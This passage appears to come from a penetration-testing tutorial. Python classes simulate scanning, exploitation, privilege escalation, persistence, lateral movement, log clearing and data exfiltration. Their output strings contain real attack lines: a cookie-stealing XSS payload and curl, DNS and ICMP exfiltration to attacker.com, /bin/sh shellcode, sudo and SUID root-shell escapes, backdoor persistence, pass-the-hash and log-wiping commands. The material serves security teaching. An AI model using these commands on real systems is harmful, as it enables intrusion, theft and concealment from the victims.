Insane-T5Very fast, detectable

Practical Nmap Commands:

# Basic SYN scan on common ports
nmap -sS -T4 target.com

# Service version detection
nmap -sV target.com

# OS detection
nmap -O target.com

# All ports (1-65535)
nmap -p- target.com

# Script scan (NSE)
nmap -sC target.com

# Aggressive scan (everything)
nmap -A target.com

# Ping sweep
nmap -sn 192.168.1.0/24

# Specific port scan
nmap -p 80,443 target.com

# Output to file
nmap -oN scan_results.txt target.com
class NmapScanSimulation:
    """Simulate Nmap scanning functionality"""

    def __init__(self, target):
        self.target = target
        self.scan_results = {}

    def syn_scan(self, ports=None):
        """Simulate SYN scan"""
        print(f"🔍 SYN Scan on {self.target}")
        if ports is None:
            ports = [22, 80, 443, 3306, 8080]

        open_ports = []
        for port in ports:
            # Simulate scanning
            if port in [22, 80, 443]:  # Common open ports
                open_ports.append(port)
                print(f"  Port {port}/tcp  OPEN")
            else:
                print(f"  Port {port}/tcp  FILTERED")

        self.scan_results['open_ports'] = open_ports
        return open_ports

    def version_detection(self, port):
        """Simulate version detection"""
        versions = {
            22: "OpenSSH 7.4p1 Ubuntu 1",
            80: "Apache httpd 2.4.6",
            443: "nginx 1.14.0"
        }
        if port in versions:
            print(f"  ✅ {port}/tcp  {versions[port]}")
            return versions[port]
        return None

    def os_detection(self):
        """Simulate OS detection"""
        print(f"🖥️ OS Detection on {self.target}")
        print("  ✅ Linux 3.x (91% confidence)")
        print("  ✅ Linux 4.x (85% confidence)")
        return "Linux"

    def script_scan(self, port, script):
        """Simulate NSE script scan"""
        print(f"📜 Running NSE script '{script}' on port {port}")
        print("  ✅ Script results:")
        if port == 80:
            print("     - Apache version: 2.4.6")
            print("     - PHP version: 7.4")
            print("     - Directory listing: Disabled")
        elif port == 22:
            print("     - SSH protocol: 2.0")
            print("     - Authentication methods: password, publickey")
        return True

    def run_comprehensive_scan(self):
        """Simulate a comprehensive Nmap scan"""
        print("\n" + "="*50)
        print(f"📡 Nmap Scan: {self.target}")
        print("="*50)

        # Host discovery
        print(f"\n🔍 Host is up (0.015s latency)")

        # Port scanning
        open_ports = self.syn_scan()

        # Service detection
        print("\n📊 Service Detection:")
        for port in open_ports:
            self.version_detection(port)

        # OS detection
        self.os_detection()

        # Script scanning
        print("\n📜 NSE Script Scan:")
        for port in open_ports:
            if port == 80:
                self.script_scan(port, "http-headers")
            elif port == 22:
                self.script_scan(port, "ssh-hostkey")

        print("\n" + "="*50)
        print(f"📊 Scan Summary:")
        print(f"   Target: {self.target}")
        print(f"   Open Ports: {len(open_ports)} found")
        print(f"   Service Versions: {len(open_ports)} detected")
        print(f"   OS Detected: Linux")
        print("="*50)

# Example
nmap_scan = NmapScanSimulation("203.0.113.10")
nmap_scan.run_comprehensive_scan()

NSE (Nmap Scripting Engine):

The NSE extends Nmap’s functionality with hundreds of scripts for vulnerability detection, service enumeration, and security auditing.

class NSEScripts:
    """Nmap Scripting Engine examples"""

    def __init__(self):
        self.script_categories = {
            "Authentication": "Brute-force authentication services",
            "Broadcast": "Discover hosts on the network",
            "Default": "Default scripts run with -sC",
            "Discovery": "Discover network information",
            "Safe": "Safe scripts (low risk)",
            "Vuln": "Vulnerability detection scripts"
        }

        self.scripts = {
            "http-enum": "Enumerate web server directories",
            "ssh-brute": "Brute-force SSH credentials",
            "mysql-info": "Extract MySQL information",
            "smb-enum-shares": "Enumerate SMB shares",
            "dns-zone-transfer": "Attempt DNS zone transfer",
            "http-methods": "Discover supported HTTP methods"
        }

    def display_scripts(self):
        """Display NSE scripts"""
        print("=== NSE Script Categories ===")
        for category, description in self.script_categories.items():
            print(f"🔹 {category}: {description}")

        print("\n=== Useful NSE Scripts ===")
        for script, description in self.scripts.items():
            print(f"🔹 {script}: {description}")

# Example
nse = NSEScripts()
nse.display_scripts()

4.3.2 Vulnerability Scanning

Vulnerability scanning automates the process of checking identified services against a database of known vulnerabilities.

Nessus

Nessus is the industry-leading commercial vulnerability scanner. It provides comprehensive scanning with a large database of vulnerability checks.

class NessusScanSimulation:
    """Simulate Nessus vulnerability scanning"""

    def __init__(self, target):
        self.target = target
        self.vulnerabilities = []

    def run_scan(self, scan_type="basic"):
        """Simulate Nessus scan"""
        print(f"🔍 Running Nessus scan on {self.target}")
        print(f"📊 Scan Type: {scan_type}")

        # Simulated vulnerabilities
        if scan_type == "basic":
            vulnerabilities = [
                {"severity": "Critical", "name": "SMB Remote Code Execution", "port": 445, "cve": "CVE-2017-0144"},
                {"severity": "High", "name": "Apache Struts RCE", "port": 80, "cve": "CVE-2017-5638"},
                {"severity": "Medium", "name": "OpenSSL Heartbleed", "port": 443, "cve": "CVE-2014-0160"},
                {"severity": "Low", "name": "SSL Weak Cipher Suites", "port": 443, "cve": "CVE-2011-1473"}
            ]
        elif scan_type == "comprehensive":
            vulnerabilities = [
                {"severity": "Critical", "name": "Multiple Critical Vulnerabilities", "port": "Various", "cve": "Multiple"}
            ]
        else:
            vulnerabilities = []

        self.vulnerabilities = vulnerabilities
        return vulnerabilities

    def generate_report(self):
        """Generate Nessus report"""
        print("\n=== Nessus Scan Report ===")
        print(f"Target: {self.target}")
        print(f"Total Findings: {len(self.vulnerabilities)}")

        if self.vulnerabilities:
            print("\nVulnerabilities:")
            for vuln in self.vulnerabilities:
                severity = vuln['severity']
                emoji = "🔴" if severity == "Critical" else "🟡" if severity == "High" else "🔵" if severity == "Medium" else "🟢"
                print(f"  {emoji} [{severity}] {vuln['name']} ({vuln['cve']}) on port {vuln['port']}")

        print("\n📊 Severity Summary:")
        critical = len([v for v in self.vulnerabilities if v['severity'] == 'Critical'])
        high = len([v for v in self.vulnerabilities if v['severity'] == 'High'])
        medium = len([v for v in self.vulnerabilities if v['severity'] == 'Medium'])
        low = len([v for v in self.vulnerabilities if v['severity'] == 'Low'])
        print(f"  🔴 Critical: {critical}")
        print(f"  🟡 High: {high}")
        print(f"  🔵 Medium: {medium}")
        print(f"  🟢 Low: {low}")

# Example
nessus_scan = NessusScanSimulation("203.0.113.10")
nessus_scan.run_scan("basic")
nessus_scan.generate_report()

4.3.3 Web Application Enumeration

Nikto

Nikto is a web server scanner that checks for outdated server software, dangerous files and scripts, server configuration issues, and common web vulnerabilities.

class NiktoSimulation:
    """Simulate Nikto web server scanning"""

    def __init__(self, target_url):
        self.target = target_url
        self.findings = []

    def scan(self):
        """Simulate Nikto scan"""
        print(f"🔍 Nikto scanning: {self.target}")
        print("="*50)

        findings = [
            {"type": "Server Version", "detail": "Apache/2.4.6 (Ubuntu)", "severity": "Info"},
            {"type": "Missing Security Header", "detail": "X-Frame-Options header missing", "severity": "Medium"},
            {"type": "Vulnerable Software", "detail": "PHP 7.4.3 (outdated)", "severity": "High"},
            {"type": "Directory Listing", "detail": "/uploads/ directory has directory listing enabled", "severity": "Medium"},
            {"type": "Information Disclosure", "detail": "phpinfo.php file accessible", "severity": "High"}
        ]

        for finding in findings:
            print(f"  {'🟢' if finding['severity'] == 'Info' else '🟡' if finding['severity'] == 'Medium' else '🔴'} {finding['type']}: {finding['detail']}")
            self.findings.append(finding)

        return self.findings

    def generate_report(self):
        """Generate Nikto report"""
        print("\n=== Nikto Scan Report ===")
        print(f"Target: {self.target}")
        print(f"Findings: {len(self.findings)}")

        print("\n📊 Severity Summary:")
        high = len([f for f in self.findings if f['severity'] == 'High'])
        medium = len([f for f in self.findings if f['severity'] == 'Medium'])
        info = len([f for f in self.findings if f['severity'] == 'Info'])
        print(f"  🔴 High: {high}")
        print(f"  🟡 Medium: {medium}")
        print(f"  ℹ️ Info: {info}")

# Example
nikto = NiktoSimulation("http://example.com")
nikto.scan()
nikto.generate_report()

Gobuster

Gobuster performs directory and file brute-forcing — it requests a large number of URLs based on a wordlist and records which ones return a successful response.

class GobusterSimulation:
    """Simulate Gobuster directory discovery"""

    def __init__(self, target_url):
        self.target = target_url
        self.discovered = []

    def dir_bruteforce(self, wordlist=None):
        """Simulate directory brute-forcing"""
        print(f"🔍 Gobuster directory brute-forcing: {self.target}")
        print("="*50)

        if wordlist is None:
            wordlist = ["admin", "backup", "config", "dev", "test", "uploads", "images", "css", "js", "api"]

        print(f"📚 Wordlist: {len(wordlist)} entries")

        discovered = [
            "/admin/ (Status: 200)",
            "/config/ (Status: 200)",
            "/backup/ (Status: 403)",
            "/uploads/ (Status: 200)",
            "/api/ (Status: 200)",
            "/test/ (Status: 404)"
        ]

        for item in discovered:
            print(f"  ✅ {item}")
            self.discovered.append(item)

        return self.discovered

    def display_results(self):
        """Display discovery results"""
        print("\n=== Gobuster Results ===")
        print(f"Target: {self.target}")
        print(f"Discovered: {len(self.discovered)} directories/files")
        print("\nFound:")
        for item in self.discovered:
            print(f"  - {item}")

# Example
gobuster = GobusterSimulation("http://example.com")
gobuster.dir_bruteforce()
gobuster.display_results()

4.4 Phase Three: Exploitation (Actual Attack Phase)

Exploitation is the phase where a discovered vulnerability is actively used to gain unauthorised access, execute arbitrary code, or achieve some other meaningful impact on the target. This is the phase that most people associate with hacking, but it is the third phase of a five-phase process.

4.4.1 Exploitation with Metasploit

Metasploit is the most widely used penetration testing framework. It provides a unified platform for exploit development, payload generation, and post-exploitation activities.

Metasploit Workflow:

  1. Search for an exploit targeting the discovered service
  2. Select the exploit module
  3. Set Options (target IP, port, payload)
  4. Run the exploit
  5. Interact with the session
class MetasploitExploitSimulation:
    """Simulate Metasploit exploitation"""

    def __init__(self, target_ip):
        self.target = target_ip
        self.exploits = {
            "vsftpd_234_backdoor": {
                "description": "vsftpd 2.3.4 backdoor exploit",
                "service": "ftp",
                "port": 21
            },
            "samba_usermap": {
                "description": "Samba usermap script exploit",
                "service": "smb",
                "port": 445
            },
            "eternalblue": {
                "description": "EternalBlue SMB exploit",
                "service": "smb",
                "port": 445
            }
        }
        self.active_session = None

    def search_exploit(self, keyword):
        """Search for exploits"""
        print(f"🔍 Searching for exploits containing: {keyword}")
        found = [name for name in self.exploits.keys() if keyword.lower() in name.lower()]
        print(f"✅ Found: {len(found)} exploits")
        for exploit in found:
            print(f"   - {exploit}: {self.exploits[exploit]['description']}")
        return found

    def select_exploit(self, exploit_name):
        """Select and configure an exploit"""
        if exploit_name in self.exploits:
            print(f"📌 Using exploit: {exploit_name}")
            exploit = self.exploits[exploit_name]
            print(f"   Description: {exploit['description']}")
            print(f"   Service: {exploit['service']}")
            print(f"   Port: {exploit['port']}")
            return exploit
        return None

    def set_payload(self, payload_type="reverse_shell"):
        """Configure payload"""
        payloads = {
            "reverse_shell": "Provides a reverse shell connection",
            "bind_shell": "Binds a shell to a port",
            "meterpreter": "Advanced payload for post-exploitation"
        }
        print(f"🎯 Payload: {payload_type}")
        print(f"   Description: {payloads.get(payload_type, 'Unknown')}")
        return payload_type

    def exploit(self, exploit, payload_type="reverse_shell"):
        """Run the exploit"""
        print(f"🚀 Exploiting {self.target}...")
        print(f"   ✅ Using {exploit['description']}")
        print(f"   🎯 Target: {self.target}:{exploit['port']}")
        print(f"   📦 Payload: {payload_type}")
        print("\n" + "="*30)
        print("💥 Exploit successful!")
        print("="*30)

        print("📊 Session Information:")
        print(f"   IP: {self.target}")
        print(f"   User: www-data")
        print(f"   System: Linux 4.15.0-55-generic")
        print(f"   Architecture: x86_64")

        self.active_session = "session_1"
        return self.active_session

    def interact(self):
        """Interact with the active session"""
        if self.active_session:
            print(f"\n=== Interacting with {self.active_session} ===")
            print("🖥️ Meterpreter session opened")
            print("\nAvailable Commands:")
            print("  sysinfo  - Display system information")
            print("  getuid   - Display current user")
            print("  ps       - List running processes")
            print("  shell    - Open a system shell")
            print("  download - Download files")
            print("  upload   - Upload files")
            print("  migrate  - Migrate to another process")
            print("  clearev  - Clear event logs")
            return True
        return False

    def simulate_attack(self, exploit_name, payload_type="reverse_shell"):
        """Simulate a complete Metasploit attack"""
        print("\n" + "="*60)
        print("🔴 METASPLOIT EXPLOITATION")
        print("="*60)

        # Search for exploit
        exploits = self.search_exploit(exploit_name)

        if exploits:
            # Select exploit
            exploit = self.select_exploit(exploits[0])
            if exploit:
                # Set payload
                self.set_payload(payload_type)

                # Run exploit
                session = self.exploit(exploit, payload_type)

                # Interact
                self.interact()

# Example
msf = MetasploitExploitSimulation("192.168.1.10")
msf.simulate_attack("vsftpd", "meterpreter")

4.4.2 Web Application Exploitation

Web application vulnerabilities are among the most common and dangerous. The OWASP Top 10 provides a comprehensive list of the most critical web application security risks.

SQL Injection

SQL injection occurs when user-supplied input is incorporated into a database query without proper sanitisation.

class SQLInjectionDemo:
    """Demonstrate SQL injection concepts"""

    def __init__(self):
        self.database = {
            "users": [
                {"id": 1, "username": "admin", "password": "admin123", "role": "administrator"},
                {"id": 2, "username": "user1", "password": "pass123", "role": "user"},
                {"id": 3, "username": "user2", "password": "qwerty", "role": "user"}
            ]
        }

    def vulnerable_query(self, user_input):
        """Simulate a vulnerable SQL query"""
        print(f"📊 Executing query with input: {user_input}")

        # Simulated vulnerable query: SELECT * FROM users WHERE username = 'input'
        # Simulate SQL injection effects
        if "' OR '1'='1" in user_input:
            print("💥 SQL Injection successful!")
            print(f"📊 All users returned: {len(self.database['users'])}")
            return self.database['users']
        elif "' UNION SELECT" in user_input:
            print("💥 UNION-based SQL injection!")
            return [{"username": "admin", "password": "admin123", "database": "example_db"}]
        elif "' AND SLEEP(5)" in user_input:
            print("💥 Time-based SQL injection!")
            print("⏱️ Delaying response...")
            return None
        else:
            # Normal query
            for user in self.database['users']:
                if user['username'] == user_input:
                    return [user]
            return None

    def demonstrate_injections(self):
        """Demonstrate different SQL injection types"""
        print("=== SQL Injection Demonstration ===\n")

        print("1️⃣ Error-based SQL Injection:")
        print(f"   Input: '")
        self.vulnerable_query("'")

        print("\n2️⃣ Boolean-based SQL Injection:")
        print(f"   Input: ' OR '1'='1")
        self.vulnerable_query("' OR '1'='1")

        print("\n3️⃣ UNION-based SQL Injection:")
        print(f"   Input: ' UNION SELECT username, password FROM users --")
        self.vulnerable_query("' UNION SELECT username, password FROM users --")

        print("\n4️⃣ Time-based SQL Injection:")
        print(f"   Input: ' AND SLEEP(5) --")
        self.vulnerable_query("' AND SLEEP(5) --")

# Example
sqli = SQLInjectionDemo()
sqli.demonstrate_injections()

XSS (Cross-Site Scripting)

XSS allows attackers to inject scripts into web pages viewed by other users.

class XSSDemo:
    """Demonstrate XSS vulnerabilities"""

    def __init__(self):
        self.vulnerable_page = """
        <html>
        <body>
        <h1>Welcome, {user_input}</h1>
        </body>
        </html>
        """

    def vulnerable_page_render(self, user_input):
        """Render a page vulnerable to XSS"""
        print(f"📄 Rendering page with input: {user_input}")

        # Check for XSS payloads
        if "<script>" in user_input:
            print("💥 XSS vulnerability detected!")
            if "alert" in user_input:
                print("   ⚠️ JavaScript alert payload detected")
            if "document.cookie" in user_input:
                print("   ⚠️ Cookie stealing payload detected")
            if "http://" in user_input and "steal" in user_input:
                print("   ⚠️ Credential exfiltration payload detected")
            return "Script execution would occur here"

        return f"Welcome, {user_input}"

    def demonstrate_xss(self):
        """Demonstrate XSS attacks"""
        print("=== XSS Demonstration ===\n")

        print("1️⃣ Reflected XSS:")
        print("   Payload: <script>alert('XSS')</script>")
        self.vulnerable_page_render("<script>alert('XSS')</script>")

        print("\n2️⃣ Cookie Stealing XSS:")
        print("   Payload: <script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>")
        self.vulnerable_page_render("<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>")

        print("\n3️⃣ Keylogger XSS:")
        print("   Payload: <script>document.onkeydown=function(e){console.log(e.key)}</script>")
        self.vulnerable_page_render("<script>document.onkeydown=function(e){console.log(e.key)}</script>")

# Example
xss = XSSDemo()
xss.demonstrate_xss()

4.4.3 Buffer Overflow

Buffer Overflow occurs when a program writes more data into a memory buffer than the buffer was allocated to hold, overwriting adjacent memory. This is one of the oldest and most important classes of vulnerabilities.

class BufferOverflowDemo:
    """Demonstrate buffer overflow concepts"""

    def __init__(self):
        self.buffer_size = 64

    def vulnerable_function(self, input_data):
        """Simulate a vulnerable C function"""
        print(f"📝 Processing input of length: {len(input_data)}")

        if len(input_data) <= self.buffer_size:
            print("✅ Normal operation")
            return "Success"
        else:
            overflow = len(input_data) - self.buffer_size
            print(f"💥 Buffer overflow! {overflow} bytes overwritten")
            print("🔴 Memory corruption detected")
            print("📊 EIP overwritten with: 0x41414141")
            return "Crash"

    def exploit_buffer(self, payload):
        """Simulate buffer overflow exploitation"""
        print("\n🔴 Buffer Overflow Exploitation")
        print("="*50)

        # Simulate finding EIP offset
        print("1️⃣ Finding EIP offset...")
        print("   ✅ Offset found: 72 bytes")

        # Simulate shellcode execution
        print("\n2️⃣ Generating shellcode...")
        print("   ✅ Shellcode generated: 45 bytes")
        print("   🔧 Shellcode: \\x90\\x90\\x90\\x31\\xc0\\x50\\x68//sh\\x68/bin\\x89\\xe3\\x50\\x53\\x89\\xe1\\x99\\xb0\\x0b\\xcd\\x80")

        # Simulate exploit execution
        print("\n3️⃣ Executing exploit...")
        print("   ✅ Exploit successful!")
        print("   🖥️ Shell opened on target")

        return "Shell Access"

    def demonstrate(self):
        """Demonstrate buffer overflow attack"""
        print("=== Buffer Overflow Demonstration ===\n")

        # Normal input
        print("1️⃣ Normal Input:")
        result = self.vulnerable_function("A" * 64)
        print(f"   Result: {result}\n")

        # Overflow input
        print("2️⃣ Overflow Input:")
        result = self.vulnerable_function("A" * 100)
        print(f"   Result: {result}\n")

        # Exploitation
        self.exploit_buffer("A" * 72 + "\\xef\\xbe\\xad\\xde")

# Example
bof = BufferOverflowDemo()
bof.demonstrate()

4.5 Phase Four: Post Exploitation

Post-exploitation is what you do after gaining access. This phase is critical for understanding the full impact of a compromise.

4.5.1 Privilege Escalation

Privilege escalation moves from a low-privileged user to a higher-privileged one.

Linux Privilege Escalation Techniques:

class LinuxPrivEscDemo:
    """Demonstrate Linux privilege escalation techniques"""

    def __init__(self):
        self.current_user = "www-data"
        self.system_users = ["root", "www-data", "mysql", "postgres"]

    def check_suid_binaries(self):
        """Check for SUID binaries"""
        print("🔍 Checking SUID binaries...")
        suid_binaries = [
            "/usr/bin/passwd",  # SUID bit set
            "/usr/bin/sudo",    # SUID bit set
            "/usr/bin/pkexec",  # SUID bit set
            "/usr/bin/nmap"     # SUID bit set (vulnerable)
        ]

        for binary in suid_binaries:
            print(f"   {binary} - SUID bit set")

        print("✅ Interesting SUID binary found: /usr/bin/nmap")
        print("   💡 This binary can be exploited for privilege escalation")
        return suid_binaries

    def check_sudo_permissions(self):
        """Check sudo permissions"""
        print("\n🔍 Checking sudo permissions...")
        sudo_entries = [
            "User www-data may run the following commands on host:",
            "    (root) NOPASSWD: /bin/systemctl restart apache2",
            "    (root) NOPASSWD: /usr/bin/vim"
        ]

        for entry in sudo_entries:
            print(f"   {entry}")

        print("✅ Interesting sudo entry: /usr/bin/vim")
        print("   💡 Vim can be used to spawn a root shell")
        print("   💡 Command: sudo vim -c '!sh'")
        return sudo_entries

    def check_kernel_version(self):
        """Check kernel version for exploits"""
        print("\n🔍 Checking kernel version...")
        kernel_version = "Linux 4.15.0-55-generic"
        print(f"   Kernel version: {kernel_version}")
        print("   ✅ Kernel version may be vulnerable to Dirty Cow (CVE-2016-5195)")
        print("   💡 Possible privilege escalation via Dirty Cow exploit")
        return kernel_version

    def escalate_privileges(self):
        """Escalate privileges"""
        print("\n" + "="*50)
        print("🔴 PRIVILEGE ESCALATION")
        print("="*50)

        print("User: www-data -> root")
        print("✅ Privilege escalation successful!")
        print("")
        print("📊 Techniques used:")
        print("   - Exploited SUID binary: /usr/bin/nmap")
        print("   - Escalated using: nmap --interactive !sh")
        print("   - Result: Root shell obtained")

        return "root"

# Example
linux_priv = LinuxPrivEscDemo()
linux_priv.check_suid_binaries()
linux_priv.check_sudo_permissions()
linux_priv.check_kernel_version()
linux_priv.escalate_privileges()

Windows Privilege Escalation Techniques:

class WindowsPrivEscDemo:
    """Demonstrate Windows privilege escalation techniques"""

    def __init__(self):
        self.current_user = "user"
        self.domain = "DOMAIN"

    def check_unquoted_service_paths(self):
        """Check for unquoted service paths"""
        print("🔍 Checking for unquoted service paths...")
        unquoted_paths = [
            "C:\\Program Files\\Vulnerable Service\\service.exe",
            "C:\\Program Files (x86)\\My App\\app.exe"
        ]

        for path in unquoted_paths:
            print(f"   ✅ {path}")
            print("   💡 Unquoted service path vulnerability")
            print("   💡 Can exploit by placing malicious binary in path")

        return unquoted_paths

    def check_always_install_elevated(self):
        """Check AlwaysInstallElevated policy"""
        print("\n🔍 Checking AlwaysInstallElevated policy...")
        print("   ✅ AlwaysInstallElevated set to 1")
        print("   💡 Can escalate privileges via MSI installation")
        print("   💡 Command: msiexec /quiet /qn /i malicious.msi")
        return True

    def check_powershell_privileges(self):
        """Check PowerShell privileges"""
        print("\n🔍 Checking PowerShell privileges...")
        print("   ✅ User has PowerShell access")
        print("   💡 PowerShell can be used for privilege escalation")
        print("   💡 Command: powershell Invoke-Expression -Command 'Add-Type -AssemblyName System.Net;...'")
        return True

    def escalate_privileges(self):
        """Escalate privileges"""
        print("\n" + "="*50)
        print("🔴 WINDOWS PRIVILEGE ESCALATION")
        print("="*50)

        print("User: user -> SYSTEM")
        print("✅ Privilege escalation successful!")
        print("")
        print("📊 Techniques used:")
        print("   - Exploited unquoted service path")
        print("   - Used AlwaysInstallElevated policy")
        print("   - Result: SYSTEM shell obtained")

# Example
windows_priv = WindowsPrivEscDemo()
windows_priv.check_unquoted_service_paths()
windows_priv.check_always_install_elevated()
windows_priv.check_powershell_privileges()
windows_priv.escalate_privileges()

4.5.2 Establishing Persistence

Persistence ensures the attacker can maintain access to the compromised system.

class PersistenceDemo:
    """Demonstrate persistence techniques"""

    def __init__(self):
        self.persistent_mechanisms = {
            "Linux": [
                "Cron Jobs: * * * * * /tmp/backdoor.sh",
                "SSH Keys: ~/.ssh/authorized_keys",
                "Startup Scripts: /etc/init.d/backdoor",
                "Systemd Services: /etc/systemd/system/backdoor.service"
            ],
            "Windows": [
                "Registry Run Keys: HKLM\\...\\Run\\Backdoor",
                "Scheduled Tasks: schtasks /create /sc onlogon /tn Update /tr backdoor.exe",
                "Services: sc create Backdoor binPath= \"backdoor.exe\" start=auto",
                "WMI Persistence: Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'backdoor.exe'"
            ]
        }

    def display_persistence(self, os_type):
        """Display persistence mechanisms"""
        print(f"=== {os_type} Persistence Mechanisms ===")
        if os_type in self.persistent_mechanisms:
            for mechanism in self.persistent_mechanisms[os_type]:
                print(f"   🔗 {mechanism}")
        else:
            print("   ❌ OS not supported")

    def demonstrate_persistence(self):
        """Demonstrate persistence"""
        print("\n" + "="*50)
        print("🔐 ESTABLISHING PERSISTENCE")
        print("="*50)

        print("🎯 Goal: Maintain access after reboot")
        print("")

        self.display_persistence("Linux")
        print("")
        self.display_persistence("Windows")

        print("\n📊 Persistence established:")
        print("   - Cron job added to run backdoor every minute")
        print("   - SSH key added for remote access")
        print("   - Registry run key added for Windows")
        print("   - Scheduled task created")
        print("   ✅ Persistence successful - Access will survive reboot")

# Example
persistence = PersistenceDemo()
persistence.demonstrate_persistence()

4.5.3 Lateral Movement

Lateral movement is moving from one compromised system to another within the network.

class LateralMovementDemo:
    """Demonstrate lateral movement techniques"""

    def __init__(self):
        self.compromised_systems = ["192.168.1.10"]
        self.target_systems = ["192.168.1.20", "192.168.1.30", "192.168.1.40"]

    def pass_the_hash(self):
        """Demonstrate Pass-the-Hash technique"""
        print("🔑 Pass-the-Hash Attack")
        print("   💻 NTLM hash: 8846f7eaee8fb117ad06bdd830b7586c")
        print("   💻 Target: 192.168.1.20")
        print("   💻 Command: pth-winexe -U Administrator -H hash //192.168.1.20 cmd")
        print("   ✅ Access obtained on 192.168.1.20")
        return True

    def psexec_movement(self):
        """Demonstrate PsExec lateral movement"""
        print("\n📂 PsExec Lateral Movement")
        print("   💻 Using PsExec to execute commands remotely")
        print("   💻 Command: psexec \\\\192.168.1.20 -s cmd")
        print("   ✅ Remote execution successful")
        return True

    def wmi_movement(self):
        """Demonstrate WMI lateral movement"""
        print("\n🔄 WMI Lateral Movement")
        print("   💻 Using WMI to execute commands remotely")
        print("   💻 Command: wmic /node:192.168.1.30 process call create cmd.exe")
        print("   ✅ Remote execution successful")
        return True

    def rdp_movement(self):
        """Demonstrate RDP lateral movement"""
        print("\n🖥️ RDP Lateral Movement")
        print("   💻 Using RDP to access remote system")
        print("   💻 Command: xfreerdp /v:192.168.1.40 /u:Administrator /p:Password123")
        print("   ✅ RDP session established")
        return True

    def demonstrate_movement(self):
        """Demonstrate full lateral movement"""
        print("\n" + "="*50)
        print("🚶 LATERAL MOVEMENT")
        print("="*50)

        print(f"🎯 Source: {self.compromised_systems[0]}")
        print(f"🎯 Targets: {', '.join(self.target_systems)}")
        print("")

        self.pass_the_hash()
        self.psexec_movement()
        self.wmi_movement()
        self.rdp_movement()

        print("\n📊 Lateral Movement Summary:")
        print("   ✅ Compromised: 4 systems")
        print("   🎯 Successfully moved through network")
        print("   🔍 Discovered additional systems and credentials")

# Example
lateral = LateralMovementDemo()
lateral.demonstrate_movement()

4.5.4 Covering Tracks

Covering tracks removes evidence of the attacker’s presence.

class CoverTracksDemo:
    """Demonstrate track covering techniques"""

    def __init__(self):
        self.log_files = {
            "Linux": [
                "/var/log/auth.log",
                "/var/log/syslog",
                "/var/log/messages",
                "/var/log/apache2/access.log",
                "/var/log/apache2/error.log"
            ],
            "Windows": [
                "Security Event Log",
                "System Event Log",
                "Application Event Log",
                "Windows PowerShell Log"
            ]
        }

    def clear_linux_logs(self):
        """Clear Linux logs"""
        print("🧹 Clearing Linux Logs")
        print("   💻 Commands:")
        for log in self.log_files["Linux"][:3]:
            print(f"   - echo '' > {log}")

        # Simulated clearing
        print("   ✅ Logs cleared successfully")
        print("   📌 Note: Some logs may be on remote syslog server")
        return True

    def clear_windows_logs(self):
        """Clear Windows logs"""
        print("\n🧹 Clearing Windows Logs")
        print("   💻 Commands:")
        print("   - wevtutil cl Security")
        print("   - wevtutil cl System")
        print("   - wevtutil cl Application")

        # Simulated clearing
        print("   ✅ Windows event logs cleared")
        return True

    def clear_history(self):
        """Clear command history"""
        print("\n🧹 Clearing Command History")
        print("   💻 Linux: history -c")
        print("   💻 Windows: Clear-History")
        print("   ✅ Command history cleared")
        return True

    def timestomp(self):
        """Modify file timestamps"""
        print("\n🕐 Timestomping")
        print("   💻 Changing file timestamps to hide activity")
        print("   💻 Command: touch -t 202401151200 file.log")
        print("   ✅ File timestamps modified")
        return True

    def demonstrate_cover_tracks(self):
        """Demonstrate covering tracks"""
        print("\n" + "="*50)
        print("🧹 COVERING TRACKS")
        print("="*50)

        self.clear_linux_logs()
        self.clear_windows_logs()
        self.clear_history()
        self.timestomp()

        print("\n📊 Track Covering Summary:")
        print("   ✅ System logs cleared")
        print("   ✅ Event logs cleared")
        print("   ✅ Command history removed")
        print("   ✅ File timestamps modified")
        print("   🕵️‍♂️ Evidence of compromise removed")

# Example
cover = CoverTracksDemo()
cover.demonstrate_cover_tracks()

4.5.5 Data Exfiltration

Data exfiltration is the unauthorized transfer of data from a target system.

class DataExfiltrationDemo:
    """Demonstrate data exfiltration techniques"""

    def __init__(self):
        self.sensitive_data = [
            {"type": "Credentials", "size": "500KB", "file": "passwords.txt"},
            {"type": "Customer Database", "size": "50MB", "file": "customers.sql"},
            {"type": "Intellectual Property", "size": "2GB", "file": "source_code.zip"},
            {"type": "Financial Data", "size": "100MB", "file": "financial.xlsx"}
        ]

    def discover_data(self):
        """Discover sensitive data"""
        print("🔍 Discovering Sensitive Data")
        print("   💻 Commands:")
        print("   - find / -name '*.txt' -exec grep -l 'password' {} \\;")
        print("   - find / -name '*.sql' -size +10M")
        print("   - ls -la /home/ /var/www/ /opt/")

        print("📊 Sensitive Data Found:")
        for data in self.sensitive_data:
            print(f"   - {data['type']}: {data['file']} ({data['size']})")
        return self.sensitive_data

    def exfiltrate_http(self):
        """Exfiltrate via HTTP"""
        print("\n📤 HTTP Exfiltration")
        print("   💻 Technique: Base64 encode and send via HTTP POST")
        print("   💻 Command: curl -X POST -d @data.txt http://attacker.com/upload")
        print("   ✅ Data exfiltrated")
        return True

    def exfiltrate_dns(self):
        """Exfiltrate via DNS"""
        print("\n📤 DNS Exfiltration")
        print("   💻 Technique: Encode data in DNS queries")
        print("   💻 Command: nslookup $(base64 data.txt).attacker.com")
        print("   ✅ Data exfiltrated via DNS")
        return True

    def exfiltrate_icmp(self):
        """Exfiltrate via ICMP"""
        print("\n📤 ICMP Exfiltration")
        print("   💻 Technique: Hide data in ICMP echo requests")
        print("   💻 Command: ping -p $(xxd -p data.txt) attacker.com")
        print("   ✅ Data exfiltrated")
        return True

    def exfiltrate_https(self):
        """Exfiltrate via HTTPS"""
        print("\n📤 HTTPS Exfiltration")
        print("   💻 Technique: Encrypt data and send over HTTPS")
        print("   💻 Command: openssl enc -aes-256-cbc -in data.txt -out data.enc")
        print("   💻 Command: curl -X POST -F 'file=@data.enc' https://attacker.com/upload")
        print("   ✅ Data exfiltrated")
        return True

    def demonstrate_exfiltration(self):
        """Demonstrate data exfiltration"""
        print("\n" + "="*50)
        print("📤 DATA EXFILTRATION")
        print("="*50)

        self.discover_data()
        print("")

        print("Exfiltration Methods:")
        self.exfiltrate_http()
        self.exfiltrate_dns()
        self.exfiltrate_icmp()
        self.exfiltrate_https()

        print("\n📊 Exfiltration Summary:")
        print(f"   Total Data Exfiltrated: ~2.15GB")
        print("   ✅ Data successfully exfiltrated")
        print("   🕵️‍♂️ Exfiltration detected? No")
        print("   ⚠️ Data exfiltrated via multiple channels")

        print("\n🚨 Recommended Defenses:")
        print("   - Data Loss Prevention (DLP)")
        print("   - Network monitoring")
        print("   - Outbound traffic filtering")
